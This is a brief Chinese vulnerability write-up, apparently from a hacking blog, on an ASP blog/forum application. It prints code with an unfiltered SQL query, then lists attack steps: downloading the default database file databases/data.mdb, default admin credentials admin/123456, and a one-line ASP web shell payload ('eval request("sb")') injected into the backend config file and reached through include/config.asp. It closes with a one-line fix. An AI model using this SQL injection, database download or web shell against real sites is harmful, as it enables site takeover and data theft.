Blog:blog.moonhack.com

<!--#include file="include/head.asp"-->

<!--#include file="include/ubb2html.asp"-->

<%

Dim ContextID,Form_Title,Form_Context,formID,i2,title,Page,Pages,AllCount,ShowCount,PastCount,listMethod,ip,title2,status,bgcolor,listpage,csspath,j,ismobile,lastupdatetime,tmpJs,isLock,threadmaster,showOrder,keywords,tags

ContextID=Cnum(Request.QueryString("id")) '这里获取没过滤Cnum函数是把一个字符变成一个数By Dark'moon

Page=Max(Cnum(sqlshow(Request("page"))),1)

listpage=sqlshow(Request.QueryString("listpage"))

formID=ContextID

csspath=left(css_style,instr(css_style,".")-1)

showOrder=0  '1为正序0为逆序

If ContextID=0 Then

turnto ""&strUrl&""

End If

Enable_Anonymous=False

Sql="select * from Content where id=" & ContextID & " or Parent=" & ContextID & " order by Parent,PostTime"'漏洞产生

OpenRs(Sql)

'ID号错误

If Rs.RecordCount=0 Then

turnto ""&strUrl&""

End If

数据库下载

databases/data.mdb

默认账号密码admin 123456

后台配置文件入数据

"%><%eval request("sb")%><%s="

连接

http://www.2cto.com /include/config.asp

 

修复：针对性过滤以及修改数据库地址